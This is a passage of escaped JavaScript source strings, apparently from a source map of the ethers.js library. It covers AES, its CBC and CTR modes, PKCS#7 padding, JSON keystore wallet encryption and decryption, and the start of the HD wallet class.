\"f\")[r][c] = tk[i];\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[rounds - r][c] = tk[i++];\n t++;\n }\n }\n // inverse-cipher-ify the decryption round key (fips-197 section 5.3)\n for (let r = 1; r < rounds; r++) {\n for (let c = 0; c < 4; c++) {\n tt = __classPrivateFieldGet(this, _AES_Kd, \"f\")[r][c];\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[r][c] = (U1[(tt >> 24) & 0xFF] ^\n U2[(tt >> 16) & 0xFF] ^\n U3[(tt >> 8) & 0xFF] ^\n U4[tt & 0xFF]);\n }\n }\n }\n encrypt(plaintext) {\n if (plaintext.length != 16) {\n throw new TypeError('invalid plaintext size (must be 16 bytes)');\n }\n const rounds = __classPrivateFieldGet(this, _AES_Ke, \"f\").length - 1;\n const a = [0, 0, 0, 0];\n // convert plaintext to (ints ^ key)\n let t = convertToInt32(plaintext);\n for (let i = 0; i < 4; i++) {\n t[i] ^= __classPrivateFieldGet(this, _AES_Ke, \"f\")[0][i];\n }\n // apply round transforms\n for (let r = 1; r < rounds; r++) {\n for (let i = 0; i < 4; i++) {\n a[i] = (T1[(t[i] >> 24) & 0xff] ^\n T2[(t[(i + 1) % 4] >> 16) & 0xff] ^\n T3[(t[(i + 2) % 4] >> 8) & 0xff] ^\n T4[t[(i + 3) % 4] & 0xff] ^\n __classPrivateFieldGet(this, _AES_Ke, \"f\")[r][i]);\n }\n t = a.slice();\n }\n // the last round is special\n const result = new Uint8Array(16);\n let tt = 0;\n for (let i = 0; i < 4; i++) {\n tt = __classPrivateFieldGet(this, _AES_Ke, \"f\")[rounds][i];\n result[4 * i] = (S[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;\n result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;\n result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff;\n result[4 * i + 3] = (S[t[(i + 3) % 4] & 0xff] ^ tt) & 0xff;\n }\n return result;\n }\n decrypt(ciphertext) {\n if (ciphertext.length != 16) {\n throw new TypeError('invalid ciphertext size (must be 16 bytes)');\n }\n const rounds = __classPrivateFieldGet(this, _AES_Kd, \"f\").length - 1;\n const a = [0, 0, 0, 0];\n // convert plaintext to (ints ^ key)\n let t = convertToInt32(ciphertext);\n for (let i = 0; i < 4; i++) {\n t[i] ^= __classPrivateFieldGet(this, _AES_Kd, \"f\")[0][i];\n }\n // apply round transforms\n for (let r = 1; r < rounds; r++) {\n for (let i = 0; i < 4; i++) {\n a[i] = (T5[(t[i] >> 24) & 0xff] ^\n T6[(t[(i + 3) % 4] >> 16) & 0xff] ^\n T7[(t[(i + 2) % 4] >> 8) & 0xff] ^\n T8[t[(i + 1) % 4] & 0xff] ^\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[r][i]);\n }\n t = a.slice();\n }\n // the last round is special\n const result = new Uint8Array(16);\n let tt = 0;\n for (let i = 0; i < 4; i++) {\n tt = __classPrivateFieldGet(this, _AES_Kd, \"f\")[rounds][i];\n result[4 * i] = (Si[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;\n result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;\n result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff;\n result[4 * i + 3] = (Si[t[(i + 1) % 4] & 0xff] ^ tt) & 0xff;\n }\n return result;\n }\n}\n_AES_key = new WeakMap(), _AES_Kd = new WeakMap(), _AES_Ke = new WeakMap();\n//# sourceMappingURL=aes.js.map","import { AES } from \"./aes.js\";\nexport class ModeOfOperation {\n constructor(name, key, cls) {\n if (cls && !(this instanceof cls)) {\n throw new Error(`${name} must be instantiated with \"new\"`);\n }\n Object.defineProperties(this, {\n aes: { enumerable: true, value: new AES(key) },\n name: { enumerable: true, value: name }\n });\n }\n}\n//# sourceMappingURL=mode.js.map","// Cipher Block Chaining\nvar __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n};\nvar __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n};\nvar _CBC_iv, _CBC_lastBlock;\nimport { ModeOfOperation } from \"./mode.js\";\nexport class CBC extends ModeOfOperation {\n constructor(key, iv) {\n super(\"ECC\", key, CBC);\n _CBC_iv.set(this, void 0);\n _CBC_lastBlock.set(this, void 0);\n if (iv) {\n if (iv.length % 16) {\n throw new TypeError(\"invalid iv size (must be 16 bytes)\");\n }\n __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(iv), \"f\");\n }\n else {\n __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(16), \"f\");\n }\n __classPrivateFieldSet(this, _CBC_lastBlock, this.iv, \"f\");\n }\n get iv() { return new Uint8Array(__classPrivateFieldGet(this, _CBC_iv, \"f\")); }\n encrypt(plaintext) {\n if (plaintext.length % 16) {\n throw new TypeError(\"invalid plaintext size (must be multiple of 16 bytes)\");\n }\n const ciphertext = new Uint8Array(plaintext.length);\n for (let i = 0; i < plaintext.length; i += 16) {\n for (let j = 0; j < 16; j++) {\n __classPrivateFieldGet(this, _CBC_lastBlock, \"f\")[j] ^= plaintext[i + j];\n }\n __classPrivateFieldSet(this, _CBC_lastBlock, this.aes.encrypt(__classPrivateFieldGet(this, _CBC_lastBlock, \"f\")), \"f\");\n ciphertext.set(__classPrivateFieldGet(this, _CBC_lastBlock, \"f\"), i);\n }\n return ciphertext;\n }\n decrypt(ciphertext) {\n if (ciphertext.length % 16) {\n throw new TypeError(\"invalid ciphertext size (must be multiple of 16 bytes)\");\n }\n const plaintext = new Uint8Array(ciphertext.length);\n for (let i = 0; i < ciphertext.length; i += 16) {\n const block = this.aes.decrypt(ciphertext.subarray(i, i + 16));\n for (let j = 0; j < 16; j++) {\n plaintext[i + j] = block[j] ^ __classPrivateFieldGet(this, _CBC_lastBlock, \"f\")[j];\n __classPrivateFieldGet(this, _CBC_lastBlock, \"f\")[j] = ciphertext[i + j];\n }\n }\n return plaintext;\n }\n}\n_CBC_iv = new WeakMap(), _CBC_lastBlock = new WeakMap();\n//# sourceMappingURL=mode-cbc.js.map","// Counter Mode\nvar __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n};\nvar __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n};\nvar _CTR_remaining, _CTR_remainingIndex, _CTR_counter;\nimport { ModeOfOperation } from \"./mode.js\";\nexport class CTR extends ModeOfOperation {\n constructor(key, initialValue) {\n super(\"CTR\", key, CTR);\n // Remaining bytes for the one-time pad\n _CTR_remaining.set(this, void 0);\n _CTR_remainingIndex.set(this, void 0);\n // The current counter\n _CTR_counter.set(this, void 0);\n __classPrivateFieldSet(this, _CTR_counter, new Uint8Array(16), \"f\");\n __classPrivateFieldGet(this, _CTR_counter, \"f\").fill(0);\n __classPrivateFieldSet(this, _CTR_remaining, __classPrivateFieldGet(this, _CTR_counter, \"f\"), \"f\"); // This will be discarded immediately\n __classPrivateFieldSet(this, _CTR_remainingIndex, 16, \"f\");\n if (initialValue == null) {\n initialValue = 1;\n }\n if (typeof (initialValue) === \"number\") {\n this.setCounterValue(initialValue);\n }\n else {\n this.setCounterBytes(initialValue);\n }\n }\n get counter() { return new Uint8Array(__classPrivateFieldGet(this, _CTR_counter, \"f\")); }\n setCounterValue(value) {\n if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) {\n throw new TypeError(\"invalid counter initial integer value\");\n }\n for (let index = 15; index >= 0; --index) {\n __classPrivateFieldGet(this, _CTR_counter, \"f\")[index] = value % 256;\n value = Math.floor(value / 256);\n }\n }\n setCounterBytes(value) {\n if (value.length !== 16) {\n throw new TypeError(\"invalid counter initial Uint8Array value length\");\n }\n __classPrivateFieldGet(this, _CTR_counter, \"f\").set(value);\n }\n increment() {\n for (let i = 15; i >= 0; i--) {\n if (__classPrivateFieldGet(this, _CTR_counter, \"f\")[i] === 255) {\n __classPrivateFieldGet(this, _CTR_counter, \"f\")[i] = 0;\n }\n else {\n __classPrivateFieldGet(this, _CTR_counter, \"f\")[i]++;\n break;\n }\n }\n }\n encrypt(plaintext) {\n var _a, _b;\n const crypttext = new Uint8Array(plaintext);\n for (let i = 0; i < crypttext.length; i++) {\n if (__classPrivateFieldGet(this, _CTR_remainingIndex, \"f\") === 16) {\n __classPrivateFieldSet(this, _CTR_remaining, this.aes.encrypt(__classPrivateFieldGet(this, _CTR_counter, \"f\")), \"f\");\n __classPrivateFieldSet(this, _CTR_remainingIndex, 0, \"f\");\n this.increment();\n }\n crypttext[i] ^= __classPrivateFieldGet(this, _CTR_remaining, \"f\")[__classPrivateFieldSet(this, _CTR_remainingIndex, (_b = __classPrivateFieldGet(this, _CTR_remainingIndex, \"f\"), _a = _b++, _b), \"f\"), _a];\n }\n return crypttext;\n }\n decrypt(ciphertext) {\n return this.encrypt(ciphertext);\n }\n}\n_CTR_remaining = new WeakMap(), _CTR_remainingIndex = new WeakMap(), _CTR_counter = new WeakMap();\n//# sourceMappingURL=mode-ctr.js.map","export function pkcs7Pad(data) {\n const padder = 16 - (data.length % 16);\n const result = new Uint8Array(data.length + padder);\n result.set(data);\n for (let i = data.length; i < result.length; i++) {\n result[i] = padder;\n }\n return result;\n}\nexport function pkcs7Strip(data) {\n if (data.length < 16) {\n throw new TypeError('PKCS#7 invalid length');\n }\n const padder = data[data.length - 1];\n if (padder > 16) {\n throw new TypeError('PKCS#7 padding byte out of range');\n }\n const length = data.length - padder;\n for (let i = 0; i < padder; i++) {\n if (data[length + i] !== padder) {\n throw new TypeError('PKCS#7 invalid padding byte');\n }\n }\n return new Uint8Array(data.subarray(0, length));\n}\n//# sourceMappingURL=padding.js.map","/**\n * @_ignore\n */\nimport { getBytesCopy, assertArgument, toUtf8Bytes } from \"../utils/index.js\";\nexport function looseArrayify(hexString) {\n if (typeof (hexString) === \"string\" && !hexString.startsWith(\"0x\")) {\n hexString = \"0x\" + hexString;\n }\n return getBytesCopy(hexString);\n}\nexport function zpad(value, length) {\n value = String(value);\n while (value.length < length) {\n value = '0' + value;\n }\n return value;\n}\nexport function getPassword(password) {\n if (typeof (password) === 'string') {\n return toUtf8Bytes(password, \"NFKC\");\n }\n return getBytesCopy(password);\n}\nexport function spelunk(object, _path) {\n const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i);\n assertArgument(match != null, \"invalid path\", \"path\", _path);\n const path = match[1];\n const type = match[3];\n const reqd = (match[4] === \"!\");\n let cur = object;\n for (const comp of path.toLowerCase().split('.')) {\n // Search for a child object with a case-insensitive matching key\n if (Array.isArray(cur)) {\n if (!comp.match(/^[0-9]+$/)) {\n break;\n }\n cur = cur[parseInt(comp)];\n }\n else if (typeof (cur) === \"object\") {\n let found = null;\n for (const key in cur) {\n if (key.toLowerCase() === comp) {\n found = cur[key];\n break;\n }\n }\n cur = found;\n }\n else {\n cur = null;\n }\n if (cur == null) {\n break;\n }\n }\n assertArgument(!reqd || cur != null, \"missing required value\", \"path\", path);\n if (type && cur != null) {\n if (type === \"int\") {\n if (typeof (cur) === \"string\" && cur.match(/^-?[0-9]+$/)) {\n return parseInt(cur);\n }\n else if (Number.isSafeInteger(cur)) {\n return cur;\n }\n }\n if (type === \"number\") {\n if (typeof (cur) === \"string\" && cur.match(/^-?[0-9.]*$/)) {\n return parseFloat(cur);\n }\n }\n if (type === \"data\") {\n if (typeof (cur) === \"string\") {\n return looseArrayify(cur);\n }\n }\n if (type === \"array\" && Array.isArray(cur)) {\n return cur;\n }\n if (type === typeof (cur)) {\n return cur;\n }\n assertArgument(false, `wrong type found for ${type} `, \"path\", path);\n }\n return cur;\n}\n/*\nexport function follow(object: any, path: string): null | string {\n let currentChild = object;\n\n for (const comp of path.toLowerCase().split('/')) {\n\n // Search for a child object with a case-insensitive matching key\n let matchingChild = null;\n for (const key in currentChild) {\n if (key.toLowerCase() === comp) {\n matchingChild = currentChild[key];\n break;\n }\n }\n\n if (matchingChild === null) { return null; }\n\n currentChild = matchingChild;\n }\n\n return currentChild;\n}\n\n// \"path/to/something:type!\"\nexport function followRequired(data: any, path: string): string {\n const value = follow(data, path);\n if (value != null) { return value; }\n return logger.throwArgumentError(\"invalid value\", `data:${ path }`,\n JSON.stringify(data));\n}\n*/\n// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4)\n/*\nexport function uuidV4(randomBytes: BytesLike): string {\n const bytes = getBytes(randomBytes, \"randomBytes\");\n\n // Section: 4.1.3:\n // - time_hi_and_version[12:16] = 0b0100\n bytes[6] = (bytes[6] & 0x0f) | 0x40;\n\n // Section 4.4\n // - clock_seq_hi_and_reserved[6] = 0b0\n // - clock_seq_hi_and_reserved[7] = 0b1\n bytes[8] = (bytes[8] & 0x3f) | 0x80;\n\n const value = hexlify(bytes);\n\n return [\n value.substring(2, 10),\n value.substring(10, 14),\n value.substring(14, 18),\n value.substring(18, 22),\n value.substring(22, 34),\n ].join(\"-\");\n}\n*/\n//# sourceMappingURL=utils.js.map","/**\n * The JSON Wallet formats allow a simple way to store the private\n * keys needed in Ethereum along with related information and allows\n * for extensible forms of encryption.\n *\n * These utilities facilitate decrypting and encrypting the most common\n * JSON Wallet formats.\n *\n * @_subsection: api/wallet:JSON Wallets [json-wallets]\n */\nimport { CTR } from \"aes-js\";\nimport { getAddress } from \"../address/index.js\";\nimport { keccak256, pbkdf2, randomBytes, scrypt, scryptSync } from \"../crypto/index.js\";\nimport { computeAddress } from \"../transaction/index.js\";\nimport { concat, getBytes, hexlify, uuidV4, assert, assertArgument } from \"../utils/index.js\";\nimport { getPassword, spelunk, zpad } from \"./utils.js\";\nimport { version } from \"../_version.js\";\nconst defaultPath = \"m/44'/60'/0'/0/0\";\n/**\n * Returns true if %%json%% is a valid JSON Keystore Wallet.\n */\nexport function isKeystoreJson(json) {\n try {\n const data = JSON.parse(json);\n const version = ((data.version != null) ? parseInt(data.version) : 0);\n if (version === 3) {\n return true;\n }\n }\n catch (error) { }\n return false;\n}\nfunction decrypt(data, key, ciphertext) {\n const cipher = spelunk(data, \"crypto.cipher:string\");\n if (cipher === \"aes-128-ctr\") {\n const iv = spelunk(data, \"crypto.cipherparams.iv:data!\");\n const aesCtr = new CTR(key, iv);\n return hexlify(aesCtr.decrypt(ciphertext));\n }\n assert(false, \"unsupported cipher\", \"UNSUPPORTED_OPERATION\", {\n operation: \"decrypt\"\n });\n}\nfunction getAccount(data, _key) {\n const key = getBytes(_key);\n const ciphertext = spelunk(data, \"crypto.ciphertext:data!\");\n const computedMAC = hexlify(keccak256(concat([key.slice(16, 32), ciphertext]))).substring(2);\n assertArgument(computedMAC === spelunk(data, \"crypto.mac:string!\").toLowerCase(), \"incorrect password\", \"password\", \"[ REDACTED ]\");\n const privateKey = decrypt(data, key.slice(0, 16), ciphertext);\n const address = computeAddress(privateKey);\n if (data.address) {\n let check = data.address.toLowerCase();\n if (!check.startsWith(\"0x\")) {\n check = \"0x\" + check;\n }\n assertArgument(getAddress(check) === address, \"keystore address/privateKey mismatch\", \"address\", data.address);\n }\n const account = { address, privateKey };\n // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase\n const version = spelunk(data, \"x-ethers.version:string\");\n if (version === \"0.1\") {\n const mnemonicKey = key.slice(32, 64);\n const mnemonicCiphertext = spelunk(data, \"x-ethers.mnemonicCiphertext:data!\");\n const mnemonicIv = spelunk(data, \"x-ethers.mnemonicCounter:data!\");\n const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv);\n account.mnemonic = {\n path: (spelunk(data, \"x-ethers.path:string\") || defaultPath),\n locale: (spelunk(data, \"x-ethers.locale:string\") || \"en\"),\n entropy: hexlify(getBytes(mnemonicAesCtr.decrypt(mnemonicCiphertext)))\n };\n }\n return account;\n}\nfunction getDecryptKdfParams(data) {\n const kdf = spelunk(data, \"crypto.kdf:string\");\n if (kdf && typeof (kdf) === \"string\") {\n if (kdf.toLowerCase() === \"scrypt\") {\n const salt = spelunk(data, \"crypto.kdfparams.salt:data!\");\n const N = spelunk(data, \"crypto.kdfparams.n:int!\");\n const r = spelunk(data, \"crypto.kdfparams.r:int!\");\n const p = spelunk(data, \"crypto.kdfparams.p:int!\");\n // Make sure N is a power of 2\n assertArgument(N > 0 && (N & (N - 1)) === 0, \"invalid kdf.N\", \"kdf.N\", N);\n assertArgument(r > 0 && p > 0, \"invalid kdf\", \"kdf\", kdf);\n const dkLen = spelunk(data, \"crypto.kdfparams.dklen:int!\");\n assertArgument(dkLen === 32, \"invalid kdf.dklen\", \"kdf.dflen\", dkLen);\n return { name: \"scrypt\", salt, N, r, p, dkLen: 64 };\n }\n else if (kdf.toLowerCase() === \"pbkdf2\") {\n const salt = spelunk(data, \"crypto.kdfparams.salt:data!\");\n const prf = spelunk(data, \"crypto.kdfparams.prf:string!\");\n const algorithm = prf.split(\"-\").pop();\n assertArgument(algorithm === \"sha256\" || algorithm === \"sha512\", \"invalid kdf.pdf\", \"kdf.pdf\", prf);\n const count = spelunk(data, \"crypto.kdfparams.c:int!\");\n const dkLen = spelunk(data, \"crypto.kdfparams.dklen:int!\");\n assertArgument(dkLen === 32, \"invalid kdf.dklen\", \"kdf.dklen\", dkLen);\n return { name: \"pbkdf2\", salt, count, dkLen, algorithm };\n }\n }\n assertArgument(false, \"unsupported key-derivation function\", \"kdf\", kdf);\n}\n/**\n * Returns the account details for the JSON Keystore Wallet %%json%%\n * using %%password%%.\n *\n * It is preferred to use the [async version](decryptKeystoreJson)\n * instead, which allows a [[ProgressCallback]] to keep the user informed\n * as to the decryption status.\n *\n * This method will block the event loop (freezing all UI) until decryption\n * is complete, which can take quite some time, depending on the wallet\n * paramters and platform.\n */\nexport function decryptKeystoreJsonSync(json, _password) {\n const data = JSON.parse(json);\n const password = getPassword(_password);\n const params = getDecryptKdfParams(data);\n if (params.name === \"pbkdf2\") {\n const { salt, count, dkLen, algorithm } = params;\n const key = pbkdf2(password, salt, count, dkLen, algorithm);\n return getAccount(data, key);\n }\n assert(params.name === \"scrypt\", \"cannot be reached\", \"UNKNOWN_ERROR\", { params });\n const { salt, N, r, p, dkLen } = params;\n const key = scryptSync(password, salt, N, r, p, dkLen);\n return getAccount(data, key);\n}\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); });\n}\n/**\n * Resolves to the decrypted JSON Keystore Wallet %%json%% using the\n * %%password%%.\n *\n * If provided, %%progress%% will be called periodically during the\n * decrpytion to provide feedback, and if the function returns\n * ``false`` will halt decryption.\n *\n * The %%progressCallback%% will **always** receive ``0`` before\n * decryption begins and ``1`` when complete.\n */\nexport async function decryptKeystoreJson(json, _password, progress) {\n const data = JSON.parse(json);\n const password = getPassword(_password);\n const params = getDecryptKdfParams(data);\n if (params.name === \"pbkdf2\") {\n if (progress) {\n progress(0);\n await stall(0);\n }\n const { salt, count, dkLen, algorithm } = params;\n const key = pbkdf2(password, salt, count, dkLen, algorithm);\n if (progress) {\n progress(1);\n await stall(0);\n }\n return getAccount(data, key);\n }\n assert(params.name === \"scrypt\", \"cannot be reached\", \"UNKNOWN_ERROR\", { params });\n const { salt, N, r, p, dkLen } = params;\n const key = await scrypt(password, salt, N, r, p, dkLen, progress);\n return getAccount(data, key);\n}\nfunction getEncryptKdfParams(options) {\n // Check/generate the salt\n const salt = (options.salt != null) ? getBytes(options.salt, \"options.salt\") : randomBytes(32);\n // Override the scrypt password-based key derivation function parameters\n let N = (1 << 17), r = 8, p = 1;\n if (options.scrypt) {\n if (options.scrypt.N) {\n N = options.scrypt.N;\n }\n if (options.scrypt.r) {\n r = options.scrypt.r;\n }\n if (options.scrypt.p) {\n p = options.scrypt.p;\n }\n }\n assertArgument(typeof (N) === \"number\" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), \"invalid scrypt N parameter\", \"options.N\", N);\n assertArgument(typeof (r) === \"number\" && r > 0 && Number.isSafeInteger(r), \"invalid scrypt r parameter\", \"options.r\", r);\n assertArgument(typeof (p) === \"number\" && p > 0 && Number.isSafeInteger(p), \"invalid scrypt p parameter\", \"options.p\", p);\n return { name: \"scrypt\", dkLen: 32, salt, N, r, p };\n}\nfunction _encryptKeystore(key, kdf, account, options) {\n const privateKey = getBytes(account.privateKey, \"privateKey\");\n // Override initialization vector\n const iv = (options.iv != null) ? getBytes(options.iv, \"options.iv\") : randomBytes(16);\n assertArgument(iv.length === 16, \"invalid options.iv length\", \"options.iv\", options.iv);\n // Override the uuid\n const uuidRandom = (options.uuid != null) ? getBytes(options.uuid, \"options.uuid\") : randomBytes(16);\n assertArgument(uuidRandom.length === 16, \"invalid options.uuid length\", \"options.uuid\", options.iv);\n // This will be used to encrypt the wallet (as per Web3 secret storage)\n // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix)\n // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet)\n const derivedKey = key.slice(0, 16);\n const macPrefix = key.slice(16, 32);\n // Encrypt the private key\n const aesCtr = new CTR(derivedKey, iv);\n const ciphertext = getBytes(aesCtr.encrypt(privateKey));\n // Compute the message authentication code, used to check the password\n const mac = keccak256(concat([macPrefix, ciphertext]));\n // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition\n const data = {\n address: account.address.substring(2).toLowerCase(),\n id: uuidV4(uuidRandom),\n version: 3,\n Crypto: {\n cipher: \"aes-128-ctr\",\n cipherparams: {\n iv: hexlify(iv).substring(2),\n },\n ciphertext: hexlify(ciphertext).substring(2),\n kdf: \"scrypt\",\n kdfparams: {\n salt: hexlify(kdf.salt).substring(2),\n n: kdf.N,\n dklen: 32,\n p: kdf.p,\n r: kdf.r\n },\n mac: mac.substring(2)\n }\n };\n // If we have a mnemonic, encrypt it into the JSON wallet\n if (account.mnemonic) {\n const client = (options.client != null) ? options.client : `ethers/${version}`;\n const path = account.mnemonic.path || defaultPath;\n const locale = account.mnemonic.locale || \"en\";\n const mnemonicKey = key.slice(32, 64);\n const entropy = getBytes(account.mnemonic.entropy, \"account.mnemonic.entropy\");\n const mnemonicIv = randomBytes(16);\n const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv);\n const mnemonicCiphertext = getBytes(mnemonicAesCtr.encrypt(entropy));\n const now = new Date();\n const timestamp = (now.getUTCFullYear() + \"-\" +\n zpad(now.getUTCMonth() + 1, 2) + \"-\" +\n zpad(now.getUTCDate(), 2) + \"T\" +\n zpad(now.getUTCHours(), 2) + \"-\" +\n zpad(now.getUTCMinutes(), 2) + \"-\" +\n zpad(now.getUTCSeconds(), 2) + \".0Z\");\n const gethFilename = (\"UTC--\" + timestamp + \"--\" + data.address);\n data[\"x-ethers\"] = {\n client, gethFilename, path, locale,\n mnemonicCounter: hexlify(mnemonicIv).substring(2),\n mnemonicCiphertext: hexlify(mnemonicCiphertext).substring(2),\n version: \"0.1\"\n };\n }\n return JSON.stringify(data);\n}\n/**\n * Return the JSON Keystore Wallet for %%account%% encrypted with\n * %%password%%.\n *\n * The %%options%% can be used to tune the password-based key\n * derivation function parameters, explicitly set the random values\n * used. Any provided [[ProgressCallback]] is ignord.\n */\nexport function encryptKeystoreJsonSync(account, password, options) {\n if (options == null) {\n options = {};\n }\n const passwordBytes = getPassword(password);\n const kdf = getEncryptKdfParams(options);\n const key = scryptSync(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64);\n return _encryptKeystore(getBytes(key), kdf, account, options);\n}\n/**\n * Resolved to the JSON Keystore Wallet for %%account%% encrypted\n * with %%password%%.\n *\n * The %%options%% can be used to tune the password-based key\n * derivation function parameters, explicitly set the random values\n * used and provide a [[ProgressCallback]] to receive periodic updates\n * on the completion status..\n */\nexport async function encryptKeystoreJson(account, password, options) {\n if (options == null) {\n options = {};\n }\n const passwordBytes = getPassword(password);\n const kdf = getEncryptKdfParams(options);\n const key = await scrypt(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback);\n return _encryptKeystore(getBytes(key), kdf, account, options);\n}\n//# sourceMappingURL=json-keystore.js.map","/**\n * Explain HD Wallets..\n *\n * @_subsection: api/wallet:HD Wallets [hd-wallets]\n */\nimport { computeHmac, randomBytes, ripemd160, SigningKey, sha256 } from \"../crypto/index.js\";\nimport { VoidSigner } from \"../providers/index.js\";\nimport { computeAddress } from \"../transaction/index.js\";\nimport { concat, dataSlice, decodeBase58, defineProperties, encodeBase58, getBytes, hexlify, isBytesLike, getNumber, toBeArray, toBigInt, toBeHex, assertPrivate, assert, assertArgument } from \"../utils/index.js\";\nimport { LangEn } from \"../wordlists/lang-en.js\";\nimport { BaseWallet } from \"./base-wallet.js\";\nimport { Mnemonic } from \"./mnemonic.js\";\nimport { encryptKeystoreJson, encryptKeystoreJsonSync, } from \"./json-keystore.js\";\n/**\n * The default derivation path for Ethereum HD Nodes. (i.e. ``\"m/44'/60'/0'/0/0\"``)\n */\nexport const defaultPath = \"m/44'/60'/0'/0/0\";\n// \"Bitcoin seed\"\nconst MasterSecret = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]);\nconst HardenedBit = 0x80000000;\nconst N = BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\");\nconst Nibbles = \"0123456789abcdef\";\nfunction zpad(value, length) {\n let result = \"\";\n while (value) {\n result = Nibbles[value % 16] + result;\n value = Math.trunc(value / 16);\n }\n while (result.length < length * 2) {\n result = \"0\" + result;\n }\n return \"0x\" + result;\n}\nfunction encodeBase58Check(_value) {\n const value = getBytes(_value);\n const check = dataSlice(sha256(sha256(value)), 0, 4);\n const bytes = concat([value, check]);\n return encodeBase58(bytes);\n}\nconst _guard = {};\nfunction ser_I(index, chainCode, publicKey, privateKey) {\n const data = new Uint8Array(37);\n if (index & HardenedBit) {\n assert(privateKey != null, \"cannot derive child of neutered node\", \"UNSUPPORTED_OPERATION\", {\n operation: \"deriveChild\"\n });\n // Data = 0x00 || ser_256(k_par)\n data.set(getBytes(privateKey), 1);\n }\n else {\n // Data = ser_p(point(k_par))\n data.set(getBytes(publicKey));\n }\n // Data += ser_32(i)\n for (let i = 24; i >= 0; i -= 8) {\n data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff);\n }\n const I = getBytes(computeHmac(\"sha512\", chainCode, data));\n return { IL: I.slice(0, 32), IR: I.slice(32) };\n}\nfunction derivePath(node, path) {\n const components = path.split(\"/\");\n assertArgument(components.length > 0, \"invalid path\", \"path\", path);\n if (components[0] === \"m\") {\n assertArgument(node.depth === 0, `cannot derive root path (i.e. path starting with \"m/\") for a node at non-zero depth ${node.depth}`, \"path\", path);\n components.shift();\n }\n let result = node;\n for (let i = 0; i < components.length; i++) {\n const component = components[i];\n if (component.match(/^[0-9]+'$/)) {\n const index = parseInt(component.substring(0, component.length - 1));\n assertArgument(index < HardenedBit, \"invalid path index\", `path[${i}]`, component);\n result = result.deriveChild(HardenedBit + index);\n }\n else if (component.match(/^[0-9]+$/)) {\n const index = parseInt(component);\n assertArgument(index < HardenedBit, \"invalid path index\", `path[${i}]`, component);\n result = result.deriveChild(index);\n }\n else {\n assertArgument(false, \"invalid path component\", `path[${i}]`, component);\n }\n }\n return result;\n}\n/**\n * An **HDNodeWallet** is a [[Signer]] backed by the private key derived\n * from an HD Node using the [[link-bip-32]] stantard.\n *\n * An HD Node forms a hierarchal structure with each HD Node having a\n * private key and the ability to derive child HD Nodes, defined by\n * a path indicating the index of each child.\n */\nexport class HDNodeWallet extends BaseWallet {\n /**\n * The compressed public key.\n */\n publicKey;\n /**\n * The fingerprint.\n *\n * A fingerprint allows quick qay to detect parent and child nodes,\n * but developers should be prepared to deal with collisions as it\n * is only 4 bytes.\n */\n fingerprint;\n /**\n * The parent fingerprint.\n */\n parentFingerprint;\n /**\n * The mnemonic used to create this HD Node, if available.\n *\n * Sources such as extended keys do not encode the mnemonic, in\n * which case this will be ``null``.\n */\n mnemonic;\n /**\n * The chaincode, which is effectively a public key used\n * to derive children.\n */\n chainCode;\n /**\n * The derivation path of this wallet.\n *\n * Since extended keys do not provide full path details, this\n * may be ``null``, if instantiated from a source that does not\n * encode it.\n */\n 